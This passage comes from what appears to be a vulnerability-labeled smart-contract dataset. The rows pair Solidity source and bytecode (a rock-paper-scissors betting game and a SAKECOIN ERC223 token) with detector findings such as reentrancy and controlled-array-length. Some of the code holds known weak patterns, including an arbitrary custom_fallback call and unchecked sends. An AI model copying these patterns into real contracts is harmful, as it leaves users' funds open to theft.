61016001518760200151896101200151600b54600c548b604001518c60600151604051600160a060020a03998a1681526020810198909852958816604080890191909152606088019590955292909616608086015260a085015260c084019490945260e083019390935261010082015261012001905180910390a4805192506127b0565b6121226120fa836020015184516118bc60056000886101a0015181526020808201929092526040016000205490880151612d53565b6118cb846060015160056000876101c001518152602081019190915260400160002054612bd3565b81528051151561213f57816101c001516101a083015160036114ec565b816020015161215082518451612d53565b81151561215957fe5b0460208201526121b560026000610100850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a031681526020810191909152604001600020548251612bd3565b60026000846101000151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a031681526020019081526020016000208190555061222c8160200151670de0b6b3a76400006118bc8460200151600b54612d53565b60408201526122906002600060e0850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a03168152602001908152602001600020548260400151612df5565b600260008460e00151600160a060020a0316600160a060020a031681526020019081526020016000206000846101200151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612352600260008460e00151600160a060020a0316600160a060020a0316815260200190815260200160002060008360800151600160a060020a0316600160a060020a0316815260200190815260200160002054670de0b6b3a7640000611af08460200151600e54612d53565b600260008460e00151600160a060020a0316600160a060020a0316815260200190815260200160002060008360800151600160a060020a0316600160a060020a031681526020019081526020016000208190555061240660026000846101600151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a03168152602001908152602001600020548260200151612bd3565b60026000846101600151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a031681526020810191909152604001600020556124886124708251670de0b6b3a76400006118bc8551600c54612d53565b670de0b6b3a76400006118bc84518660c00151612d53565b60608201526124ed60026000610140850151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a03168152602001908152602001600020548260600151612df5565b60026000846101400151600160a060020a0316600160a060020a031681526020019081526020016000206000846101800151600160a060020a0316600160a060020a03168152602001908152602001600020819055506125a760026000846101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008360a00151600160a060020a03168152602081019190915260400160002054670de0b6b3a7640000611af08451600f54612d53565b60026000846101400151600160a060020a0316600160a060020a0316815260200190815260200160002060008360a00151600160a060020a0316600160a060020a0316815260200190815260200160002081905550612655600260008460e00151600160a060020a039081168252602080830193909352604091820160009081206006549092168152908352205490670de0b6b3a764000090611af090850151611e11600b54600e54612bd3565b600260008460e00151600160a060020a039081168252602080830193909352604091820160009081206006549092168152925281209190915561270990600290610140850151600160a060020a0390811682526020808301939093526040918201600090812060065490921681529252902054611ed2670de0b6b3a76400006126e78551611e11600c54600f54612bd3565b8115156126f057fe5b04670de0b6b3a7640000611af086518860c00151612d53565b60026000846101400151600160a060020a039081168252602080830193909352604091820160009081206006549092168152925281209190915561276b906005906101a085015181526020808201929092526040016000205490830151612df5565b60056000846101a0015181526020810191909152604001600090812091909155611f88906005906101c085015181526020810191909152604001600020548251612df5565b5050949350505050565b60016020526000908152604090205481565b60005b8151811015612841576128388582815181106127e757fe5b906020019060200201518583815181106127fd57fe5b9060200190602002015185848151811061281357fe5b9060200190602002015185858151811061282957fe5b90602001906020020151611216565b506001016127cf565b5050505050565b600054600160a060020a031690565b600054600160a060020a031681565b33600160a060020a031681600160a060020a03161415612884575060005b600160a060020a03338116600090815260106020526040902054161515612a7757600160a060020a0381161580159061292d5750601154600090600160a060020a031663bc019eed3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561290b57600080fd5b5af1151561291857600080fd5b50505060405180519050600160a060020a0316145b156129d55733600160a060020a0381811660009081526010602052604090819020805473ffffffffffffffffffffffffffffffffffffffff191685841617905560115490911691631294d4db918491905160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401600060405180830381600087803b15156129c057600080fd5b5af115156129cd57600080fd5b505050612a77565b601154600160a060020a031663bc019eed3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515612a2557600080fd5b5af11515612a3257600080fd5b5050506040518051600160a060020a03338116600090815260106020526040902080549190921673ffffffffffffffffffffffffffffffffffffffff19909116179055505b600160a060020a0380841660009081526002602090815260408083203390941683529290522054612aa89083612df5565b600160a060020a03808516600081815260026020908152604080832033958616845282528083209590955560049052839020439055916323b872dd9190309086905160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b1515612b3657600080fd5b5af11515612b4357600080fd5b505050604051805190501515612b5857600080fd5b600160a060020a03338116600081815260106020908152604080832054888616808552600284528285208686529093529281902054929094169390917ff5dd9317b9e63ac316ce44acc85f670b54b339cfa3e9076e1dd55065b922314b918791905191825260208201526040908101905180910390a4505050565b6000612be1838311156108d6565b50900390565b60005433600160a060020a03908116911614801590612c1f5750600160a060020a03331660009081526003602052604090205460ff16155b15612c2957600080fd5b600160a060020a038216600090815260016020526040902054811015612c4e57600080fd5b600160a060020a03909116600090815260016020526040902055565b600d5481565b600f5481565b600054612c919033600160a060020a039081169116146108d6565b662386f26fc1000083108015612cad5750662386f26fc1000082105b1515612cb857600080fd5b600d548111612cc657600080fd5b600b839055600c829055600d819055670de0b6b3a7640000612ce88483612d53565b811515612cf157fe5b04600e55600c54670de0b6b3a764000090612d0c9083612d53565b811515612d1557fe5b04600f55600c54600b548291907f472cfc031d19bcc54db01976ce486cc12dc3d489e6adced1eb5a782cd55cfdf260405160405180910390a4505050565b6000828202612d77841580612d725750838583811515612d6f57fe5b04145b6108d6565b9392505050565b60096020526000908152604090205460ff1681565b6000805433600160a060020a03908116911614801590612dcc5750600160a060020a03331660009081526003602052604090205460ff16155b15612dd657600080fd5b620f4240821115612de657600080fd5b50600855600190565b600e5481565b6000828201612d77848210801590612d725750838210156108d6565b60085481565b33600160a060020a031681600160a060020a03161415612e35575060005b600160a060020a0333811660009081526010602052604090205416151561302857600160a060020a03811615801590612ede5750601154600090600160a060020a031663bc019eed3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515612ebc57600080fd5b5af11515612ec957600080fd5b50505060405180519050600160a060020a0316145b15612f865733600160a060020a0381811660009081526010602052604090819020805473ffffffffffffffffffffffffffffffffffffffff191685841617905560115490911691631294d4db918491905160e060020a63ffffffff8516028152600160a060020a03928316600482015291166024820152604401600060405180830381600087803b1515612f7157600080fd5b5af11515612f7e57600080fd5b505050613028565b601154600160a060020a031663bc019eed3360405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b1515612fd657600080fd5b5af11515612fe357600080fd5b5050506040518051600160a060020a03338116600090815260106020526040902080549190921673ffffffffffffffffffffffffffffffffffffffff19909116179055505b33600160a060020a0316600090815260008051602061342283398151915260205260409020546130589034612df5565b600160a060020a03338116600081815260008051602061342283398151915260208181526040808420968755600482528084204390556010825280842054929091529454931693919290917ff5dd9317b9e63ac316ce44acc85f670b54b339cfa3e9076e1dd55065b922314b9134915191825260208201526040908101905180910390a450565b600854600160a060020a033316600090815260046020526040812054909190613109904390612bd3565b101561311457600080fd5b600160a060020a03808416600090815260026020908152604080832033909416835292905220548290101561314857600080fd5b600160a060020a03808416600090815260026020908152604080832033909416835292905220546131799083612bd3565b600160a060020a038085166000818152600260209081526040808320339095168352939052919091209190915515156131e257600160a060020a03331682156108fc0283604051600060405180830381858888f1935050505015156131dd57600080fd5b613258565b82600160a060020a031663a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561323657600080fd5b5af1151561324357600080fd5b50505060405180519050151561325857600080fd5b600160a060020a0383811660008181526002602090815260408083203390951680845294909152808220547febff2602b3f468259e1e99f613fed6691f3a6526effe6ef3e768ba7ae7a36c4f9287925180848152602001838152602001828152602001935050505060405180910390a392915050565b60056020526000908152604090205481565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b601254600160a060020a031681565b600b5481565b60075481565b60008183106133355781612d77565b5090919050565b6101e06040519081016040908152600080835260208301819052908201819052606082018190526080820181905260a0820181905260c0820181905260e08201819052610100820181905261012082018190526101408201819052610160820181905261018082018190526101a082018190526101c082015290565b60c060405190810160405280600081526020016000815260200160008152602001600081526020016000600160a060020a031681526020016000600160a060020a031681525090560019457468657265756d205369676e6564204d6573736167653a0a333200000000ac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077ba165627a7a723058203391cf27c6a4de38d0e709f77db0ea20834469e26a9d77428d845b32d7265ab70029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}} | 618 |
0xcdbaa1f3cc1113284e13a1a4a658f7564c7d6ed7 | pragma solidity ^0.4.24;
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) internal {
if (!assertion) throw;
}
}
contract AccessControl is SafeMath{
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event ContractUpgrade(address newContract);
// The addresses of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
address public cfoAddress;
address public cooAddress;
address newContractAddress;
uint public tip_total = 0;
uint public tip_rate = 20000000000000000;
// @dev Keeps track whether the contract is paused. When that is true, most actions are blocked
bool public paused = false;
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
/// @dev Access modifier for CFO-only functionality
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
/// @dev Access modifier for COO-only functionality
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == cooAddress ||
msg.sender == ceoAddress ||
msg.sender == cfoAddress
);
_;
}
function () public payable{
tip_total = safeAdd(tip_total, msg.value);
}
/// @dev Count amount with tip.
/// @param amount The totalAmount
function amountWithTip(uint amount) internal returns(uint){
uint tip = safeMul(amount, tip_rate) / (1 ether);
tip_total = safeAdd(tip_total, tip);
return safeSub(amount, tip);
}
/// @dev Withdraw Tip.
function withdrawTip(uint amount) external onlyCFO {
require(amount > 0 && amount <= tip_total);
require(msg.sender.send(amount));
tip_total = tip_total - amount;
}
// updgrade
function setNewAddress(address newContract) external onlyCEO whenPaused {
newContractAddress = newContract;
emit ContractUpgrade(newContract);
}
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) external onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/// @dev Assigns a new address to act as the CFO. Only available to the current CEO.
/// @param _newCFO The address of the new CFO
function setCFO(address _newCFO) external onlyCEO {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
/// @dev Assigns a new address to act as the COO. Only available to the current CEO.
/// @param _newCOO The address of the new COO
function setCOO(address _newCOO) external onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
/*** Pausable functionality adapted from OpenZeppelin ***/
/// @dev Modifier to allow actions only when the contract IS NOT paused
modifier whenNotPaused() {
require(!paused);
_;
}
/// @dev Modifier to allow actions only when the contract IS paused
modifier whenPaused {
require(paused);
_;
}
/// @dev Called by any "C-level" role to pause the contract. Used only when
/// a bug or exploit is detected and we need to limit damage.
function pause() external onlyCLevel whenNotPaused {
paused = true;
}
/// @dev Unpauses the smart contract. Can only be called by the CEO, since
/// one reason we may pause the contract is when CFO or COO accounts are
/// compromised.
/// @notice This is public rather than external so it can be called by
/// derived contracts.
function unpause() public onlyCEO whenPaused {
// can't unpause if contract was upgraded
paused = false;
}
}
contract RpsGame is SafeMath , AccessControl{
/// @dev Constant definition
uint8 constant public NONE = 0;
uint8 constant public ROCK = 10;
uint8 constant public PAPER = 20;
uint8 constant public SCISSORS = 30;
uint8 constant public DEALERWIN = 201;
uint8 constant public PLAYERWIN = 102;
uint8 constant public DRAW = 101;
/// @dev Emited when contract is upgraded - See README.md for updgrade plan
event CreateGame(uint gameid, address dealer, uint amount);
event JoinGame(uint gameid, address player, uint amount);
event Reveal(uint gameid, address player, uint8 choice);
event CloseGame(uint gameid,address dealer,address player, uint8 result);
/// @dev struct of a game
struct Game {
uint expireTime;
address dealer;
uint dealerValue;
bytes32 dealerHash;
uint8 dealerChoice;
address player;
uint8 playerChoice;
uint playerValue;
uint8 result;
bool closed;
}
/// @dev struct of a game
mapping (uint => mapping(uint => uint8)) public payoff;
mapping (uint => Game) public games;
mapping (address => uint[]) public gameidsOf;
/// @dev Current game maximum id
uint public maxgame = 0;
uint public expireTimeLimit = 30 minutes;
/// @dev Initialization contract
function RpsGame() {
payoff[ROCK][ROCK] = DRAW;
payoff[ROCK][PAPER] = PLAYERWIN;
payoff[ROCK][SCISSORS] = DEALERWIN;
payoff[PAPER][ROCK] = DEALERWIN;
payoff[PAPER][PAPER] = DRAW;
payoff[PAPER][SCISSORS] = PLAYERWIN;
payoff[SCISSORS][ROCK] = PLAYERWIN;
payoff[SCISSORS][PAPER] = DEALERWIN;
payoff[SCISSORS][SCISSORS] = DRAW;
payoff[NONE][NONE] = DRAW;
payoff[ROCK][NONE] = DEALERWIN;
payoff[PAPER][NONE] = DEALERWIN;
payoff[SCISSORS][NONE] = DEALERWIN;
payoff[NONE][ROCK] = PLAYERWIN;
payoff[NONE][PAPER] = PLAYERWIN;
payoff[NONE][SCISSORS] = PLAYERWIN;
ceoAddress = msg.sender;
cooAddress = msg.sender;
cfoAddress = msg.sender;
}
/// @dev Create a game
function createGame(bytes32 dealerHash, address player) public payable whenNotPaused returns (uint){
require(dealerHash != 0x0);
maxgame += 1;
Game storage game = games[maxgame];
game.dealer = msg.sender;
game.player = player;
game.dealerHash = dealerHash;
game.dealerChoice = NONE;
game.dealerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(maxgame);
emit CreateGame(maxgame, game.dealer, game.dealerValue);
return maxgame;
}
/// @dev Join a game
function joinGame(uint gameid, uint8 choice) public payable whenNotPaused returns (uint){
Game storage game = games[gameid];
require(msg.value == game.dealerValue && game.dealer != address(0) && game.dealer != msg.sender && game.playerChoice==NONE);
require(game.player == address(0) || game.player == msg.sender);
require(!game.closed);
require(now < game.expireTime);
require(checkChoice(choice));
game.player = msg.sender;
game.playerChoice = choice;
game.playerValue = msg.value;
game.expireTime = expireTimeLimit + now;
gameidsOf[msg.sender].push(gameid);
emit JoinGame(gameid, game.player, game.playerValue);
return gameid;
}
/// @dev Creator reveals game choice
function reveal(uint gameid, uint8 choice, bytes32 randomSecret) public returns (bool) {
Game storage game = games[gameid];
bytes32 proof = getProof(msg.sender, choice, randomSecret);
require(!game.closed);
require(now < game.expireTime);
require(game.dealerHash != 0x0);
require(checkChoice(choice));
require(checkChoice(game.playerChoice));
require(game.dealer == msg.sender && proof == game.dealerHash );
game.dealerChoice = choice;
Reveal(gameid, msg.sender, choice);
close(gameid);
return true;
}
/// @dev Close game settlement rewards
function close(uint gameid) public returns(bool) {
Game storage game = games[gameid];
require(!game.closed);
require(now > game.expireTime || (game.dealerChoice != NONE && game.playerChoice != NONE));
uint8 result = payoff[game.dealerChoice][game.playerChoice];
if(result == DEALERWIN){
require(game.dealer.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == PLAYERWIN){
require(game.player.send(amountWithTip(safeAdd(game.dealerValue, game.playerValue))));
}else if(result == DRAW){
require(game.dealer.send(game.dealerValue) && game.player.send(game.playerValue));
}
game.closed = true;
game.result = result;
emit CloseGame(gameid, game.dealer, game.player, result);
return game.closed;
}
function getProof(address sender, uint8 choice, bytes32 randomSecret) public view returns (bytes32){
return sha3(sender, choice, randomSecret);
}
function gameCountOf(address owner) public view returns (uint){
return gameidsOf[owner].length;
}
function checkChoice(uint8 choice) public view returns (bool){
return choice==ROCK||choice==PAPER||choice==SCISSORS;
}
} | 0x6080604052600436106101955763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630519ce7981146101a65780630a0f8168146101d75780630aebeb4e146101ec578063117a5b901461021857806313ffdbfc1461029757806327d7874c146102ca5780632ba73c15146102ed578063366f77b71461030e5780633f4ba83a146103295780634811647c1461033e5780634e0a3379146103565780634f11e07d14610377578063556665db146103a15780635c975abb146103b6578063619d36ef146103cb57806371587988146103f657806383525394146104175780638456cb591461042c57806385df508f14610441578063960be374146104565780639a42f3aa14610471578063b047fb5014610492578063b357a028146104a7578063b93e0e39146104bc578063c44d6f87146104d1578063c89605a2146104e6578063ca6649c5146104fb578063d5a093211461050c578063df5a141714610530578063e38c982514610545578063fc26d5221461055a578063fe1f6a0b1461056f575b6101a160045434610586565b600455005b3480156101b257600080fd5b506101bb6105aa565b60408051600160a060020a039092168252519081900360200190f35b3480156101e357600080fd5b506101bb6105b9565b3480156101f857600080fd5b506102046004356105c8565b604080519115158252519081900360200190f35b34801561022457600080fd5b50610230600435610814565b604080519a8b52600160a060020a03998a1660208c01528a81019890985260608a019690965260ff94851660808a01529290961660a0880152821660c087015260e08601949094529290921661010084015290151561012083015251908190036101400190f35b3480156102a357600080fd5b506102b8600160a060020a036004351661087b565b60408051918252519081900360200190f35b3480156102d657600080fd5b506102eb600160a060020a0360043516610896565b005b3480156102f957600080fd5b506102eb600160a060020a03600435166108f1565b34801561031a57600080fd5b5061020460ff6004351661094c565b34801561033557600080fd5b506102eb610977565b34801561034a57600080fd5b506102eb6004356109ab565b34801561036257600080fd5b506102eb600160a060020a0360043516610a12565b34801561038357600080fd5b506102b8600160a060020a036004351660ff60243516604435610a6d565b3480156103ad57600080fd5b506102b8610ad0565b3480156103c257600080fd5b50610204610ad6565b3480156103d757600080fd5b506103e0610adf565b6040805160ff9092168252519081900360200190f35b34801561040257600080fd5b506102eb600160a060020a0360043516610ae4565b34801561042357600080fd5b506103e0610b6d565b34801561043857600080fd5b506102eb610b72565b34801561044d57600080fd5b506102b8610bd4565b34801561046257600080fd5b506103e0600435602435610bda565b34801561047d57600080fd5b5061020460043560ff60243516604435610bfa565b34801561049e57600080fd5b506101bb610d16565b3480156104b357600080fd5b506103e0610d25565b3480156104c857600080fd5b506103e0610d2a565b3480156104dd57600080fd5b506103e0610d2f565b3480156104f257600080fd5b506103e0610d34565b6102b860043560ff60243516610d39565b34801561051857600080fd5b506102b8600160a060020a0360043516602435610f0a565b34801561053c57600080fd5b506103e0610f3a565b34801561055157600080fd5b506102b8610f3f565b34801561056657600080fd5b506102b8610f45565b6102b8600435600160a060020a0360243516610f4b565b60008282016105a384821080159061059e5750838210155b611073565b9392505050565b600154600160a060020a031681565b600054600160a060020a031681565b600081815260086020526040812060068101548290610100900460ff16156105ef57600080fd5b815442118061061c5750600482015460ff161580159061061c5750600482015460a860020a900460ff1615155b151561062757600080fd5b50600481015460ff808216600090815260076020908152604080832060a860020a9095048416835293905291909120541660c98114156106ba57600182015460028301546005840154600160a060020a03909216916108fc916106939161068e9190610586565b611082565b6040518115909202916000818181858888f1935050505015156106b557600080fd5b610780565b60ff8116606614156106ff578160040160019054906101000a9004600160a060020a0316600160a060020a03166108fc61069361068e85600201548660050154610586565b60ff8116606514156107805760018201546002830154604051600160a060020a039092169181156108fc0291906000818181858888f193505050508015610775575060048201546005830154604051610100909204600160a060020a0316916108fc82150291906000818181858888f193505050505b151561078057600080fd5b60068201805461010061ff0019909116811760ff191660ff84169081179092556001840154600485015460408051898152600160a060020a0393841660208201529390910490911682820152606082019290925290517f1d0c2a9773403f89727475495023df0d7c76f947c60bd5236fbd1c319768a58c916080908290030190a15060060154610100900460ff1692915050565b60086020526000908152604090208054600182015460028301546003840154600485015460058601546006909601549495600160a060020a03948516959394929360ff808416946101008086049091169460a860020a90048216939280831692919004168a565b600160a060020a031660009081526009602052604090205490565b600054600160a060020a031633146108ad57600080fd5b600160a060020a03811615156108c257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a0316331461090857600080fd5b600160a060020a038116151561091d57600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600060ff8216600a1480610963575060ff82166014145b80610971575060ff8216601e145b92915050565b600054600160a060020a0316331461098e57600080fd5b60065460ff16151561099f57600080fd5b6006805460ff19169055565b600154600160a060020a031633146109c257600080fd5b6000811180156109d457506004548111155b15156109df57600080fd5b604051339082156108fc029083906000818181858888f193505050501515610a0657600080fd5b60048054919091039055565b600054600160a060020a03163314610a2957600080fd5b600160a060020a0381161515610a3e57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604080516c01000000000000000000000000600160a060020a0386160281527f010000000000000000000000000000000000000000000000000000000000000060ff85160260148201526015810183905290519081900360350190209392505050565b600b5481565b60065460ff1681565b606581565b600054600160a060020a03163314610afb57600080fd5b60065460ff161515610b0c57600080fd5b60038054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff19909116811790915560408051918252517f450db8da6efbe9c22f2347f7c2021231df1fc58d3ae9a2fa75d39fa4461993059181900360200190a150565b600081565b600254600160a060020a0316331480610b955750600054600160a060020a031633145b80610baa5750600154600160a060020a031633145b1515610bb557600080fd5b60065460ff1615610bc557600080fd5b6006805460ff19166001179055565b60055481565b600760209081526000928352604080842090915290825290205460ff1681565b600083815260086020526040812081610c14338686610a6d565b6006830154909150610100900460ff1615610c2e57600080fd5b81544210610c3b57600080fd5b60038201541515610c4b57600080fd5b610c548561094c565b1515610c5f57600080fd5b6004820154610c779060a860020a900460ff1661094c565b1515610c8257600080fd5b6001820154600160a060020a031633148015610ca15750600382015481145b1515610cac57600080fd5b60048201805460ff871660ff1990911681179091556040805188815233602082015280820192909252517fc68416cfb4fec2fce79abcfa27c33ba8c9a63168b3b70d1cd3449b4a973465a89181900360600190a1610d09866105c8565b5060019695505050505050565b600254600160a060020a031681565b601e81565b600a81565b601481565b60c981565b600654600090819060ff1615610d4e57600080fd5b506000838152600860205260409020600281015434148015610d7c57506001810154600160a060020a031615155b8015610d9557506001810154600160a060020a03163314155b8015610dad5750600481015460a860020a900460ff16155b1515610db857600080fd5b60048101546101009004600160a060020a03161580610de8575060048101546101009004600160a060020a031633145b1515610df357600080fd5b6006810154610100900460ff1615610e0a57600080fd5b80544210610e1757600080fd5b610e208361094c565b1515610e2b57600080fd5b60048101805474ffffffffffffffffffffffffffffffffffffffff001916336101008181029290921775ff000000000000000000000000000000000000000000191660a860020a60ff8816021783553460058501908155600b54420185556000918252600960209081526040808420805460018101825590855293829020909301899055935490548251898152600160a060020a0394909204939093169381019390935282810191909152517ff66778a71ad05be3533189f52b3685653815adca5f24272e139571b8e1892f5e916060908290030190a1509192915050565b600960205281600052604060002081815481101515610f2557fe5b90600052602060002001600091509150505481565b606681565b600a5481565b60045481565b600654600090819060ff1615610f6057600080fd5b831515610f6c57600080fd5b50600a805460019081018083556000908152600860209081526040808320808501805473ffffffffffffffffffffffffffffffffffffffff1916339081178255600483018054600385018d905560ff19600160a060020a038d81166101000274ffffffffffffffffffffffffffffffffffffffff001990931692909217169091553460028501908155600b54420185559187526009865284872089548154998a018255908852968690209097019590955595549554935482519687529390941691850191909152838101919091525190917f0ce7f8d8c912a77f9715dfadc24c9fccf69eeb30c5bf53f068a0f9756d2b408a919081900360600190a15050600a5492915050565b80151561107f57600080fd5b50565b600080670de0b6b3a764000061109a846005546110bf565b8115156110a357fe5b0490506110b260045482610586565b6004556105a383826110e2565b60008282026105a384158061059e57508385838115156110db57fe5b0414611073565b60006110f083831115611073565b509003905600a165627a7a72305820178471553b435e794c2910476bed6cb751f5fa9ae06277eb58ede36fc7a3818f0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 619 |
0x705051bbfd9f287869a412cba8bc7d112de48e69 | pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization
* control functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the
* sender account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC223
* @dev ERC223 contract interface with ERC20 functions and events
* Fully backward compatible with ERC20
* Recommended implementation used at https://github.com/Dexaran/ERC223-token-standard/tree/Recommended
*/
contract ERC223 {
uint public totalSupply;
// ERC223 functions
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function balanceOf(address who) public view returns (uint);
// ERC223 functions and events
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
}
/**
* @title ContractReceiver
* @dev Contract that is working with ERC223 tokens
*/
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
/**
* tkn variable is analogue of msg variable of Ether transaction
* tkn.sender is person who initiated this token transaction (analogue of msg.sender)
* tkn.value the number of tokens that were sent (analogue of msg.value)
* tkn.data is data of token transaction (analogue of msg.data)
* tkn.sig is 4 bytes signature of function if data of token transaction is a function execution
*/
}
}
/**
* @title SAKECOIN
* @author SAKECOIN
* @dev SAKECOIN is an ERC223 Token with ERC20 functions and events
* Fully backward compatible with ERC20
*/
contract SAKECOIN is ERC223, Ownable {
using SafeMath for uint256;
string public name = "SAKECOIN";
string public symbol = "SAKE";
uint8 public decimals = 8;
uint256 public initialSupply = 30e9 * 1e8;
uint256 public totalSupply;
uint256 public distributeAmount = 0;
bool public mintingFinished = false;
mapping (address => uint) balances;
mapping (address => bool) public frozenAccount;
mapping (address => uint256) public unlockUnixTime;
event FrozenFunds(address indexed target, bool frozen);
event LockedFunds(address indexed target, uint256 locked);
event Burn(address indexed burner, uint256 value);
event Mint(address indexed to, uint256 amount);
event MintFinished();
function SAKECOIN() public {
totalSupply = initialSupply;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
modifier onlyPayloadSize(uint256 size){
assert(msg.data.length >= size + 4);
_;
}
/**
* @dev Prevent targets from sending or receiving tokens
* @param targets Addresses to be frozen
* @param isFrozen either to freeze it or not
*/
function freezeAccounts(address[] targets, bool isFrozen) onlyOwner public {
require(targets.length > 0);
for (uint i = 0; i < targets.length; i++) {
require(targets[i] != 0x0);
frozenAccount[targets[i]] = isFrozen;
FrozenFunds(targets[i], isFrozen);
}
}
/**
* @dev Prevent targets from sending or receiving tokens by setting Unix times
* @param targets Addresses to be locked funds
* @param unixTimes Unix times when locking up will be finished
*/
function lockupAccounts(address[] targets, uint[] unixTimes) onlyOwner public {
require(targets.length > 0
&& targets.length == unixTimes.length);
for(uint i = 0; i < targets.length; i++){
require(unlockUnixTime[targets[i]] < unixTimes[i]);
unlockUnixTime[targets[i]] = unixTimes[i];
LockedFunds(targets[i], unixTimes[i]);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = SafeMath.sub(balanceOf(msg.sender), _value);
balances[_to] = SafeMath.add(balanceOf(_to), _value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
require(_value > 0
&& frozenAccount[msg.sender] == false
&& frozenAccount[_to] == false
&& now > unlockUnixTime[msg.sender]
&& now > unlockUnixTime[_to]);
if(isContract(_to)) {
